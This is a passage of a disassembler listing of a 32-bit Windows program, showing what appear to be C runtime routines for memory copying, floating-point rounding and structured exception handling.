loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
